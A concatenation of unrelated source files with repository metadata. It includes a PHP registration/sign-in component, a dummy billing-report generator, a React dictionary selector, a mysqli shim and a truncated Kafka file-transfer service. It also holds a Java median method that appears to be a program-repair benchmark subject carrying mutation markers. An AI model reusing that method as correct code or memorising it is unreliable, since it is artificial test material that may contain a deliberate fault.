'type' => 'dropdown',
'default' => ''
],
'paramCode' => [
'title' => 'Activation Code Param',
'description' => 'The page URL parameter used for the registration activation code',
'type' => 'string',
'default' => 'code'
],
'accountAction' => [
'title' => 'Account Action',
'type' => 'dropdown',
'placeholder' => 'Select the action to perform',
'options' => [
'signin' => 'Sign In',
'registerUser' => 'Register a User/Student',
'registerOrganization' => 'Register a Organization/School'
]
],
'userType' => [
'title' => 'User type',
'type' => 'dropdown',
'placeholder' => 'Select the group of the user',
'options' => [
'none' => 'None',
'student' => 'Student',
'teacher' => 'Teacher'
]
],
// ORGANIZATION --> CLASSROOM
'organization' => [
'title' => 'Organization',
'type' => 'dropdown',
'placeholder' => 'Select a default organization'
],
'classroom' => [
'title' => 'Classroom',
'type' => 'dropdown',
'placeholder' => 'Select a default classroom',
'depends' => ['organization']
],
'orgtype' => [
'title' => 'Organization type',
'type' => 'dropdown',
'placeholder' => 'Select the default organization type'
],
// LOCATION
'country' => [
'title' => 'Country',
'type' => 'dropdown',
'placeholder' => 'Select a default country'
],
'state' => [
'title' => 'State',
'type' => 'dropdown',
'placeholder' => 'Select a default state',
'depends' => ['country']
],
'province' => [
'title' => 'Province',
'type' => 'dropdown',
'placeholder' => 'Select a default province',
'depends' => ['state']
]
];
}
public function onInit()
{
$this->prepareVars();
}
protected function prepareVars()
{
/*
* Plugin Properties
*/
$this->accountAction = $this->page['accountAction'] = $this->property('accountAction');
$this->userType = $this->page['userType'] = $this->property('userType');
if ($this->accountAction != 'signin')
{
// Organization -> Classroom
$this->page['organization'] = $this->property('organization');
$this->page['classroom'] = $this->property('classroom');
$this->organizations = $this->page['organizations'] = $this->getOrganizationOptions();
$this->classrooms = $this->page['classrooms'] = $this->getClassroomOptions($this->property('organization'));
// Location
//$this->page['country'] = $this->property('country');
//$this->page['state'] = $this->property('state');
//$this->page['province'] = $this->property('province');
$this->countries = $this->page['countries'] = $this->getCountryOptions();
$this->states = $this->page['states'] = $this->getStateOptions($this->property('country'));
$this->provinces = $this->page['provinces'] = $this->getProvinceOptions($this->property('state'));
if ($this->accountAction == 'registerOrganization')
{
// Organization Type (only for Organization registration)
$this->page['orgtype'] = $this->property('orgtype');
$this->organization_types = $this->page['organization_types'] = $this->getOrgtypeOptions();
}
}
}
// -----------------------------------------------------------------------------------------------------------------
// -----------------------------------------------------------------------------------------------------------------
public function getOrgtypeOptions()
{
if ($this->organization_types)
return $this->organization_types;
else{
$this->organization_types = Organization::listOrganizationTypes();
}
return $this->organization_types;
}
public function getOrganizationOptions()
{
if ($this->organizations)
return $this->organizations;
else{
$this->organizations = Organization::getNameList();
}
return $this->organizations;
}
public function getClassroomOptions($organization_id = null)
{
if (empty($organization_id)){
$organization_id = Request::input('organization');
}
$classrooms = [];
if (!empty($organization_id)){
//$this->page['organization'] = $organization_id;
$classrooms = $this->classrooms = $this->page['classrooms'] = Classroom::getNameList($organization_id);
}
return $classrooms;
}
// -----------------------------------------------------------------------------------------------------------------
public function getCountryOptions()
{
if ($this->countries)
return $this->countries;
else{
$this->countries = Country::getNameList();
}
return $this->countries;
}
public function getStateOptions($country_id = null)
{
if (empty($country_id)){
$country_id = Request::input('country');
}
$states = [];
if (!empty($country_id)){
//$this->page['country_id'] = $country_id;
$states = $this->states = $this->page['states'] = State::getNameList($country_id);
}
return $states;
}
public function getProvinceOptions($state_id = null)
{
if (empty($state_id)){
$state_id = Request::input('state');
Log::info('getProvinceOptions - $state_id', [$state_id]);
}
$provinces = [];
if (!empty($state_id)){
//$this->page['state'] = $state_id;
$provinces = $this->provinces = $this->page['provinces'] = Province::getNameList($state_id);
}
return $provinces;
}
// -----------------------------------------------------------------------------------------------------------------
public function onOrganizationChange()
{
// Set organization_id
$organization_id = Request::input('organization');
$this->page['organization'] = $organization_id;
//$this->organization = $this->page['organization'] = $this->property('organization') = $organization_id;
// Set "classrooms"
$this->classrooms = $this->page['classrooms'] = $this->getClassroomOptions($organization_id);
}
public function onCountryChange()
{
// Set country_id
$country_id = Request::input('country');
$this->page['country'] = $country_id;
//$this->country = $this->page['country'] = $this->property('country') = $country_id;
// Set "states"
$this->states = $this->page['states'] = $this->getStateOptions($country_id);
}
public function onStateChange()
{
// Set state_id
$state_id = Request::input('state');
$this->page['state'] = $state_id;
//$this->state = $this->page['state'] = $this->property('state') = $state_id;
// Set "provinces"
$this->provinces = $this->page['provinces'] = $this->getProvinceOptions($state_id);
}
// -----------------------------------------------------------------------------------------------------------------
// -----------------------------------------------------------------------------------------------------------------
/**
* Returns the logged in user, if available
*/
public function user()
{
if (!CnesMeteoAuth::check())
return null;
return CnesMeteoAuth::getUser();
}
/**
* Sign in the user
*/
public function onSignin()
{
/*
* Validate input
*/
$rules = [
'password' => 'required|min:5'
];
if (array_key_exists('email', Input::all()))
$rules['email'] = 'required|email|between:6,128';
else
$rules['login'] = 'required|between:4,64';
$validation = Validator::make(post(), $rules);
if ($validation->fails())
throw new ValidationException($validation);
/*
* Authenticate user
*/
/*
$user = \BackendAuth::authenticate([
'login' => post('login', post('email')),
'password' => post('password')
], true);
*/
$user = \CnesMeteo\User\Facades\CnesMeteoAuth::authenticate([
'login' => post('login', post('email')),
'password' => post('password')
], true);
// Log the sign in event
AccessLog::add($user);
/*
* Redirect to the intended page after successful sign in
*/
$redirectUrl = $this->pageUrl($this->property('redirect'));
if ($redirectUrl = post('redirect', $redirectUrl))
return Redirect::intended($redirectUrl);
}
/**
* Register the organization (school)
*/
public function onRegisterOrganization()
{
/*
* Validate input
*/
$data = post();
//Log::info('Post data onRegisterOrganization', $data); // DEBUG
$rules = [
'name' => 'required|min:4|max:128',
'email' => 'required|email|min:4|max:64',
'type' => 'required|min:2|max:16',
'address' => 'required|min:6',
'RNE' => 'min:8|max:8'
];
$validation = Validator::make($data, $rules);
if ($validation->fails())
throw new ValidationException($validation);
/*
* Register organization
*/
$new_organization = new Organization();
// Step 1
$new_organization->name = $data['name'];
$new_organization->address = $data['address'];
$new_organization->email = $data['email'];
$new_organization->phone = (!empty($data['phone'])) ? $data['phone'] : '';
// Step 2
$new_organization->type = $data['type'];
$new_organization->RNE = (!empty($data['RNE'])) ? $data['RNE'] : NULL;
$new_organization->website = (!empty($data['website'])) ? $data['website'] : '';
// Step 3
$new_organization->country_id = (!empty($data['country_id'])) ? $data['country_id'] : NULL;
$new_organization->state_id = (!empty($data['state_id'])) ? $data['state_id'] : NULL;
$new_organization->province_id = (!empty($data['province_id'])) ? $data['province_id'] : NULL;
// Step 4
$new_organization->latitude = (!empty($data['latitude'])) ? $data['latitude'] : NULL;
$new_organization->longitude = (!empty($data['longitude'])) ? $data['longitude'] : NULL;
$new_organization->altitude = (!empty($data['altitude'])) ? $data['altitude'] : NULL;
$new_organization->save();
// TODO: (Send email to all admin for manual activation)
// ------------------------------------------------------------------
// Default Measurement Site for this Organization
// ------------------------------------------------------------------
$new_site = new Site();
$new_site->organization_id = $new_organization->id;
// Basic info
$new_site->name = "default measurement site";
$new_site->address = $new_organization->address;
// Site Location
$new_site->country_id = $new_organization->country;
$new_site->state_id = $new_organization->state;
$new_site->province_id = $new_organization->province;
// Site Coord
$new_site->latitude = $new_organization->latitude;
$new_site->longitude = $new_organization->longitude;
$new_site->altitude = $new_organization->altitude;
$new_site->save();
// ------------------------------------------------------------------
// Default Classroom for this Organization
// ------------------------------------------------------------------
$new_classroom = new Classroom();
$new_classroom->organization_id = $new_organization->id;
// Basic info
$new_classroom->name = "default classroom";
$new_classroom->academic_year_start = date("Y");
$new_classroom->save();
// Add the default classroom to the default site
// Option 1)
$new_site->classrooms()->sync( [$new_classroom->id] );
// Option 2)
/*
if ( (!empty($new_site)) && (!empty($new_classroom)) ) {
$new_site->classrooms()->save($new_classroom);
}
*/
Flash::success('Successfully requested the registration of the organization.');
// TODO:
// Redireccionar a una web de creación del 1er sitio de medidas / 1er clase (param: ID organization --> :organization_id)
// [Eliminar el stio de medidas / 1ª clase por defecto si se guarda alguna]
/*
* Redirect to the intended page after successful sign in
*/
$redirectUrl = $this->pageUrl($this->property('redirect'));
if ($redirectUrl = post('redirect', $redirectUrl))
return Redirect::intended($redirectUrl);
}
/**
* Register the user (student or teacher)
*/
public function onRegisterUser()
{
/*
* Validate input
*/
$data = post();
//Log::info('Post data registerUser', $data);
if (!post('password_confirmation'))
$data['password_confirmation'] = post('password');
$rules = [
'email' => 'required|email|min:4|max:64|unique:backend_users',
'password' => 'required|min:6'
];
if (!array_key_exists('login', Input::all()))
$data['login'] = post('email');
else
$rules['login'] = 'required|between:4,64';
$validation = Validator::make($data, $rules);
if ($validation->fails())
throw new ValidationException($validation);
/*
* Register user
*/
$requireActivation = UserSettings::get('require_activation', true);
$automaticActivation = UserSettings::get('activate_mode') == UserSettings::ACTIVATE_AUTO;
$userActivation = UserSettings::get('activate_mode') == UserSettings::ACTIVATE_USER;
$FirstTeacherBecomesManager = UserSettings::get('first_teacher_becomes_manager', false);
$user = CnesMeteoAuth::register($data, $automaticActivation);
// Set the user organization and get the relevant info from it
$organization_model = null;
if (!empty($data['organization'])){
$organization_model = Organization::find($data['organization']);
// Option 1)
$user->organizations()->sync( [intval($data['organization'])] );
// Option 2)
/*
if (!empty($organization_model)) {
$user->organizations()->save($organization_model);
}
*/
if (!empty($organization_model)) {
// Laguage
$user->language_id = $organization_model->language_id;
// Location
$user->country_id = $organization_model->country_id;
$user->state_id = $organization_model->state_id;
$user->province_id = $organization_model->province_id;
}
}
// Set the user classroom:
if (!empty($data['classroom'])){
$user->classrooms()->sync( [intval($data['classroom'])] );
}
$new_usergroup = null;
switch( $this->userType )
{
case 'student':
// Select Students group
$new_usergroup = Group::whereName('Student')->first();
break;
case 'teacher':
if ( (!empty($organization_model))
&& ($FirstTeacherBecomesManager)
&& ($organization_model->hasOrganization_any_UserInGroup( ['Teacher', 'Manager'] ) === false) )
{
// Select the Managers group
$new_usergroup = Group::whereName('Manager')->first();
} else {
// Select the Teachers group
$new_usergroup = Group::whereName('Teacher')->first();
}
break;
}
// Set the user group the user will belong to
if ( (!empty($new_usergroup)) && (!empty($new_usergroup->id)) )
{
// Option 1)
$user->groups()->sync( [intval($new_usergroup->id)] );
// Option 2)
/*
if (!empty($organization_model)) {
$user->groups()->save($new_usergroup);
}
*/
}
/*
* Activation is by the user, send the email
*/
if ($userActivation) {
$this->sendActivationEmail($user);
}
/*
* Automatically activated or not required, log the user in
*/
if ($automaticActivation || !$requireActivation) {
CnesMeteoAuth::login($user);
}
Flash::success('Successfully registered.');
/*
* Redirect to the intended page after successful sign in
*/
$redirectUrl = $this->pageUrl($this->property('redirect'));
if ($redirectUrl = post('redirect', $redirectUrl))
return Redirect::intended($redirectUrl);
}
/**
* Activate the user
* @param string $code Activation code
*/
public function onActivate($isAjax = true, $code = null)
{
try {
$code = post('code', $code);
/*
* Break up the code parts
*/
$parts = explode('!', $code);
if (count($parts) != 2)
throw new ValidationException(['code' => 'Invalid activation code supplied']);
list($userId, $code) = $parts;
Log::info('user id in onActivate',[$userId]);
if (!strlen(trim($userId)) || !($user = Auth::findUserById($userId)))
throw new ApplicationException('A user was not found with the given credentials.');
if (!$user->attemptActivation($code))
throw new ValidationException(['code' => 'Invalid activation code supplied']);
Flash::success('Successfully activated your account.');
/*
* Sign in the user
*/
Auth::login($user);
}
catch (Exception $ex) {
if ($isAjax) throw $ex;
else Flash::error($ex->getMessage());
}
}
/**
* Update the user
*/
public function onUpdate()
{
if ($user = $this->user())
$user->save(post());
Flash::success(post('flash', 'Settings successfully saved!'));
/*
* Redirect to the intended page after successful update
*/
$redirectUrl = $this->pageUrl($this->property('redirect'));
if ($redirectUrl = post('redirect', $redirectUrl))
return Redirect::to($redirectUrl);
}
/**
* Sends the activation email to a user
* @param User $user
* @return void
*/
protected function sendActivationEmail($user)
{
$code = implode('!', [$user->id, $user->getActivationCode()]);
$link = $this->currentPageUrl([
$this->property('paramCode') => $code
]);
$data = [
'name' => $user->first_name.' '.$user->last_name,
'link' => $link,
'code' => $code
];
Mail::send('rainlab.user::mail.activate', $data, function($message) use ($user)
{
$message->to($user->email, $user->first_name.' '.$user->last_name);
});
}
} | CNESmeteo/cnesmeteo | user/components/Account.php | PHP | gpl-3.0 | 21,964 |
/*
* Copyright 2016(c) The Ontario Institute for Cancer Research. All rights reserved.
*
* This program and the accompanying materials are made available under the terms of the GNU Public
* License v3.0. You should have received a copy of the GNU General Public License along with this
* program. If not, see <http://www.gnu.org/licenses/>.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY
* WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
import _ from 'lodash';
import moment from 'moment';
const dummyUsers = [
'Jeff',
'Ryan',
'Brad',
'Alex',
'Matt',
];
const projectIds = [
'project_1',
'project_2',
'project_3',
'project_4',
'project_5',
'project_6',
];
const DATE_FORMAT = 'YYYY-MM-DD';
const bucketMaps = {
DAILY: {
interval: [1, 'd'],
multiplier: 1,
},
WEEKLY: {
interval: [1, 'w'],
multiplier: 7,
},
MONTHLY: {
interval: [1, 'm'],
multiplier: 30,
},
YEARLY: {
interval: [1, 'y'],
multiplier: 365,
},
}
function randomDate(start, end) {
return new Date(start.getTime() + Math.random() * (end.getTime() - start.getTime()));
}
export default function makeDummyReport({number, bucketSize, fromDate, toDate}) {
const startDate = moment(fromDate, DATE_FORMAT);
const endDate = moment(toDate, DATE_FORMAT);
const bucketVars = bucketMaps[bucketSize];
return {
fromDate: startDate.format(DATE_FORMAT),
toDate: endDate.format(DATE_FORMAT),
bucket: bucketSize,
entries: _.sortBy(_.range(number).map((x, i) => {
const bucketStartDate = moment(randomDate(startDate.toDate(), endDate.toDate()));
const bucketEndDate = bucketStartDate.add(bucketMaps[bucketSize].interval[0], bucketMaps[bucketSize].interval[1]);
return {
fromDate: bucketStartDate.format(DATE_FORMAT),
toDate: bucketEndDate.format(DATE_FORMAT),
user: _.sample(dummyUsers),
projectId: _.sample(projectIds),
cpu: _.random(1, 50 * bucketVars.multiplier),
volume: _.random(10 * bucketVars.multiplier, 60 * bucketVars.multiplier),
image: _.random(1, 40 * bucketVars.multiplier),
};
}), 'fromDate')
}
}; | CancerCollaboratory/billing | billing-ui/src/services/reports/makeDummyReport.js | JavaScript | gpl-3.0 | 2,843 |
package ase2016.introclass.median;
public class introclass_95362737_003 {
public introclass_95362737_003() {
}
/*@
@ requires true;
@ ensures ((\result == \old(a)) || (\result == \old(b)) || (\result == \old(c)));
@ ensures ((\old(a)!=\old(b) || \old(a)!=\old(c)) ==> ( ((\old(a)==\old(b)) ==> (\result == \old(a))) && ((\old(b)==\old(c)) ==> (\result ==\old(b)))));
@ ensures ((\old(a)!=\old(b) && \old(a)!=\old(c) && \old(b)!=\old(c)) ==> (\exists int n; (n == \old(a)) || (n == \old(b)) || (n == \old(c)); \result>n));
@ ensures ((\old(a)!=\old(b) && \old(a)!=\old(c) && \old(b)!=\old(c)) ==> (\exists int n; (n == \old(a)) || (n == \old(b)) || (n == \old(c)); \result<n));
@ signals (RuntimeException e) false;
@
@*/
public int median( int a, int b, int c ) {
if (a == b || a == c || (b < a && a < c) || (c < a && a < b)) { //mutGenLimit 1
return a;
} else if (b == c || (a < b && b < c) || (c < b && b < a)) { //mutGenLimit 1
return b;
} else if (a < c && c < b) { //mutGenLimit 1
return c;
}
return 0; //mutGenLimit 1
}
}
| zeminlu/comitaco | tests/ase2016/introclass/median/introclass_95362737_003.java | Java | gpl-3.0 | 1,159 |
/**
* Copyright (C) 10/13/15 smokey <sparkoneits420@live.com>
* <p>
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.jchat.event;
/**
*
* @author smokey
* @date 10/13/15
*/
public abstract class Event {
long interval, last;
public abstract void execute();
}
| sparkoneits420/JChat | src/org/jchat/event/Event.java | Java | gpl-3.0 | 898 |
<?
// MySQL compat mode for php 4:
// define mysqli_*() functions from mysql_*() ones if MYSQLI is not available
// loosely, only defined functions that are actually in use by mysql plugin.
if (!function_exists("mysqli_connect")) {
// definitions
//
define("MYSQLI_ASSOC", MYSQL_ASSOC);
// functions
//
function mysqli_connect($host, $user, $pass) {
return mysql_connect($host, $user, $pass);
}
function mysqli_connect_error() {
return mysql_error();
}
function mysqli_connect_errno() {
return mysql_errno();
}
function mysqli_error($conn) {
return mysql_error($conn);
}
function mysqli_errno($conn) {
return mysql_errno($conn);
}
function mysqli_select_db($conn, $base) {
return mysql_select_db($base, $conn);
}
function mysqli_query($conn, $query_str) {
return mysql_query($query_str, $conn);
}
function mysqli_num_rows($query) {
return mysql_num_rows($query);
}
function mysqli_fetch_array($result, $resulttype) {
return mysql_fetch_array($result, $resulttype);
}
function mysqli_affected_rows($conn) {
return mysql_affected_rows($conn);
}
}
?>
| nil0x42/phpsploit | src/api/php-functions/mysqli_compat.php | PHP | gpl-3.0 | 1,243 |
import React, { Component } from 'react'
import { Button, Dropdown, Icon, Image, Form, Modal, Segment } from 'semantic-ui-react'
import tr from '../app/utils/Translation';
const verticallyCenteredTextStyle = {
display: 'inline-flex',
alignItems: 'center'
}
const verticallyCenteredContainerStyle = {
display: 'flex',
justifyContent: 'space-between'
}
class ActiveDictionarySelector extends Component {
static propTypes = {
dictionaries: React.PropTypes.array.isRequired,
activeDictionaryIds: React.PropTypes.array.isRequired,
onActiveDictionariesChanged: React.PropTypes.func
};
render() {
if (!this.props.dictionaries.length) {
return (
// <main className="ui container">
<Segment>
<Segment basic style={verticallyCenteredContainerStyle}>
<span style={verticallyCenteredTextStyle}>{tr('You have no dictionaries')}</span>
<Button content={tr('Add a dictionary')} icon='plus' floated='right' />
</Segment>
</Segment>
// </main>
);
}
return (
// <main className="ui container">
<Segment>
<Form>
<Form.Select label={tr('Active Dictionaries')} name='activeDictionaries' options={this.props.dictionaries} fluid multiple search selection />
<Button content={tr('Clear All')} icon='trash'/>
<Button content={tr('Select All')} icon='checkmark'/>
</Form>
</Segment>
// </main>
)
}
}
export default ActiveDictionarySelector;
| sedooe/cevirgec | stories/ActiveDictionarySelector.js | JavaScript | gpl-3.0 | 1,527 |
package com.ofte.services;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import org.I0Itec.zkclient.ZkClient;
import org.I0Itec.zkclient.exception.ZkException;
import org.I0Itec.zkclient.exception.ZkMarshallingError;
import org.I0Itec.zkclient.serialize.ZkSerializer;
import org.apache.kafka.clients.consumer.internals.NoAvailableBrokersException;
import org.apache.log4j.Logger;
import com.datastax.driver.core.Session;
import com.datastax.driver.core.exceptions.NoHostAvailableException;
import kafka.admin.AdminUtils;
import kafka.admin.RackAwareMode;
//import kafka.admin.RackAwareMode;
import kafka.common.KafkaException;
import kafka.common.KafkaStorageException;
import kafka.consumer.ConsumerConfig;
import kafka.consumer.ConsumerIterator;
import kafka.consumer.KafkaStream;
import kafka.javaapi.consumer.ConsumerConnector;
import kafka.producer.KeyedMessage;
import kafka.producer.ProducerConfig;
import kafka.utils.ZKStringSerializer;
import kafka.utils.ZkUtils;
/**
*
* Class Functionality: The main functionality of this class is depending upon
* the part size it is splitting the file into number of parts and publishing
* data into kafkaserver and consuming the data and also parallelly updating the
* database Methods: public void publish(String TOPIC, String Key, String
* Message, Map<String, String> metadata,Map<String, String> transferMetaData)
* public void consume(String TOPIC, Map<String, String> metadata, Session
* session,Map<String, String> transferMetaData) public void getMessages(String
* sourceFile, Map<String, String> metadata, Map<String, String>
* transferMetaData)
*/
@SuppressWarnings("deprecation")
public class FilesProcessorService {
// Creating an object for LoadProperties class
LoadProperties loadProperties = new LoadProperties();
// Creating Logger object for FilesProcessorService class
Logger logger = Logger.getLogger(FilesProcessorService.class.getName());
// Creating an object for StringWriter class
StringWriter log4jStringWriter = new StringWriter();
// Creation of ZkClient object and initialising it with loadProperties file
// ZkClient zkClient = new
// ZkClient(loadProperties.getKafkaProperties().getProperty("ZOOKEEPER.CONNECT"),
// Integer.parseInt(loadProperties.getKafkaProperties().getProperty("SESSIONTIMEOUT")),
// Integer.parseInt(loadProperties.getKafkaProperties().getProperty("CONNECTIONTIMEOUT")),
// ZKStringSerializer$.MODULE$);
// Declaration of parameter ConsumerConnector and initialising it to null
ConsumerConnector consumerConnector = null;
// Declaration of parameter publishCount and initialising it to zero
public int publishCount = 0;
// Declaration of parameter subscribeCount and initialising it to zero
public int subscribeCount = 0;
// Creating an object for CassandraInteracter class
CassandraInteracter cassandraInteracter = new CassandraInteracter();
KafkaServerService kafkaServerService = new KafkaServerService();
/**
* This method is used to publish the data
*
* @param TOPIC
* @param Key
* @param Message
* @param metadata
* @param transferMetaData
*/
// String brokerPort = kafkaServerService.getBrokerAddress();
// String zookeeperPort = kafkaServerService.getZKAddress();
// String groupId = kafkaServerService.getId();
public void publish(String TOPIC, String Key, String Message,
ZkUtils zkutils, ZkClient zkClient, Map<String, String> metadata,
Map<String, String> transferMetaData) {
//
// System.out.println(brokerPort+" in Fileprocessor");
// System.out.println(zookeeperPort+" in Fileprocessor");
// System.out.println(groupId+" in Fileprocessor");
try {
System.out.println("setting zkclient");
System.out.println(AdminUtils.topicExists(zkutils, TOPIC));
if (zkClient != null) {
System.out.println("ZKCLIENT");
}
if (zkutils != null) {
System.out.println("ZKUTILS");
}
// Creation of ZkUtils object and initialising it with
// loadProperties file
// ZkUtils zkutils = new ZkUtils(zkClient, new
// ZkConnection(loadProperties.getKafkaProperties().getProperty("ZOOKEEPER.CONNECT")),
// true);
// if loop to check the condition topicExists or not
if (!AdminUtils.topicExists(zkutils, TOPIC)) {
// Creating an object for KafkaConnectService class
System.out.println("Entered into if loop");
zkClient.setZkSerializer(new ZkSerializer() {
@Override
public byte[] serialize(Object object)
throws ZkMarshallingError {
return ZKStringSerializer.serialize(object);
}
@Override
public Object deserialize(byte[] bytes)
throws ZkMarshallingError {
return ZKStringSerializer.deserialize(bytes);
}
});
System.out.println("Running in the if loop");
// KafkaConnectService kafkaConnectService=new
// KafkaConnectService();
// Creation of topic
Properties topicConfiguration = new Properties();
AdminUtils.createTopic(zkutils, TOPIC, 1, 1, topicConfiguration,
RackAwareMode.Enforced$.MODULE$);
System.out.println("after creation of topic");
// kafkaConnectService.createTopic(TOPIC,zkClient,zkutils,
// Integer.parseInt(loadProperties.getKafkaProperties().getProperty("NUMBEROFPARTITIONS")),
// Integer.parseInt(loadProperties.getKafkaProperties().getProperty("NUMBEROFREPLICATIONS")));
}
System.out.println("created success");
// Creation of Properties object
// Properties properties = new Properties();
// properties.put("metadata.broker.list",transferMetaData.get("BROKER_PORT")
// );
// properties.put("serializer.class",
// loadProperties.getKafkaProperties().getProperty("SERIALIZER.CLASS"));
// properties.put("reconnect.backoff.ms",
// loadProperties.getKafkaProperties().getProperty("RECONNECT.BACKOFF.MS"));
// properties.put("retry.backoff.ms",
// loadProperties.getKafkaProperties().getProperty("RETRY.BACKOFF.MS"));
// properties.put("producer.type",
// loadProperties.getKafkaProperties().getProperty("PRODUCER.TYPE"));
// properties.put("message.send.max.retries",
// loadProperties.getKafkaProperties().getProperty("MESSAGE.SEND.MAX.RETRIES"));
// properties.put("message.max.bytes",
// loadProperties.getKafkaProperties().getProperty("MESSAGE.MAX.BYTES"));
// Creation of ProducerConfig object
// ProducerConfig producerConfig = new ProducerConfig(properties);
ProducerConfig producerConfig = kafkaServerService
.getProducerConfig();
// Creation of Producer object
// System.out.println(Message);
// ProducerConfig producerConfig= new ProducerConfig(properties);
kafka.javaapi.producer.Producer<String, String> producer = new kafka.javaapi.producer.Producer<String, String>(
producerConfig);
// Creation of KeyedMessage object
KeyedMessage<String, String> message = new KeyedMessage<String, String>(
TOPIC, Key, Message);
// Sending the messages to producer
producer.send(message);
// System.out.println(message);
// Inserting publishCount to transferMetaData
transferMetaData.put("incrementPublish",
Integer.toString(publishCount++));
// Updating the database
cassandraInteracter.updateTransferEventPublishDetails(
cassandraInteracter.connectCassandra(), transferMetaData);
// closing th producer
producer.close();
System.out.println(TOPIC + " " + metadata + " " + transferMetaData);
// Invoking the consume method
consume(TOPIC, metadata, cassandraInteracter.connectCassandra(),
transferMetaData);
System.out.println("Consumed Successfully: " + TOPIC);
//// Updating the database
cassandraInteracter.updateTransferDetails(
cassandraInteracter.connectCassandra(), transferMetaData,
metadata);
// Creating an object for KafkaSecondLayer class
KafkaSecondLayer kafkaSecondLayer = new KafkaSecondLayer();
// publishing the monitor_transfer table data
try {
kafkaSecondLayer.publish(
loadProperties.getOFTEProperties()
.getProperty("TOPICNAME1"),
transferMetaData.get("transferId"),
cassandraInteracter.kafkaSecondCheckTransfer(
cassandraInteracter.connectCassandra(),
transferMetaData.get("transferId")));
} catch (NoSuchFieldException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SecurityException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println("updated cass: " + TOPIC);
System.out.println("unlocking");
}
// catching the exception for KafkaException
catch (KafkaException kafkaException) {
kafkaException.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for KafkaException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
// catching the exception for KafkaStorageException
catch (KafkaStorageException kafkaStorageException) {
kafkaStorageException
.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for KafkaStorageException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
// catching the exception for ZkException
catch (ZkException zkException) {
zkException.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for ZkException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
// catching the exception for NoHostAvailableException
catch (NoHostAvailableException noHostAvailableException) {
noHostAvailableException
.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for NoHostAvailableException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
// catching the exception for NoAvailableBrokersException
catch (NoAvailableBrokersException noAvailableBrokersException) {
noAvailableBrokersException
.printStackTrace(new PrintWriter(log4jStringWriter));
// logging the exception for NoAvailableBrokersException
logger.error(loadProperties.getOFTEProperties().getProperty(
"LOGGEREXCEPTION") + log4jStringWriter.toString());
}
// catching the exception for Exception
// catch (Exception e) {
// e.printStackTrace(new PrintWriter(log4jStringWriter));
// //logging the exception for Exception
// logger.error(loadProperties.getOFTEProperties().getProperty("LOGGEREXCEPTION")
// + log4jStringWriter.toString());
// }
}
/**
* This method is used to consume the data
*
* @param TOPIC
* @param metadata
* @param session
* @param transferMetaData
*/
public void consume(String TOPIC, Map<String, String> metadata,
Session session, Map<String, String> transferMetaData) {
try {
// Creation of Map object
Map<String, Integer> topicCount = new HashMap<String, Integer>();
// Creation of Properties object
// System.out.println(kafkaServerService.getId());
// Properties properties = new Properties();
// properties.put("zookeeper.connect",
// transferMetaData.get("zkport") );
// properties.put("group.id", transferMetaData.get("id") );
// properties.put("enable.auto.commit",loadProperties.getKafkaProperties().getProperty("ENABLE.AUTO.COMMIT"));
// properties.put("auto.commit.interval.ms",
// loadProperties.getKafkaProperties().getProperty("AUTO.COMMIT.INTERVAL.MS"));
// properties.put("auto.offset.reset",
// loadProperties.getKafkaProperties().getProperty("AUTO.OFFSET.RESET"));
// properties.put("session.timeout.ms",
// loadProperties.getKafkaProperties().getProperty("SESSION.TIMEOUT.MS"));
// properties.put("key.deserializer",
// loadProperties.getKafkaProperties().getProperty("KEY.DESERIALIZER"));
// properties.put("value.deserializer",
// loadProperties.getKafkaProperties().getProperty("VALUE.DESERIALIZER"));
// properties.put("fetch.message.max.bytes",
// loadProperties.getKafkaProperties().getProperty("FETCH.MESSAGE.MAX.BYTES"));
// System.out.println(kafkaServerService.getZKAddress());
// System.out.println(properties);
// //Creation of ConsumerConfig object
// ConsumerConfig conConfig = new ConsumerConfig(properties);
// Creating the consumerConnector
ConsumerConfig conConfig = kafkaServerService.getConsumerConfig();
consumerConnector = kafka.consumer.Consumer
.createJavaConsumerConnector(conConfig);
// Inserting the values to topicCount
topicCount.put(TOPIC, new Integer(1));
// Creation of Map object for consumerStreams
Map<String, List<KafkaStream<byte[], byte[]>>> consumerStreams = consumerConnector
.createMessageStreams(topicCount);
// Creation of List for kafkaStreamList
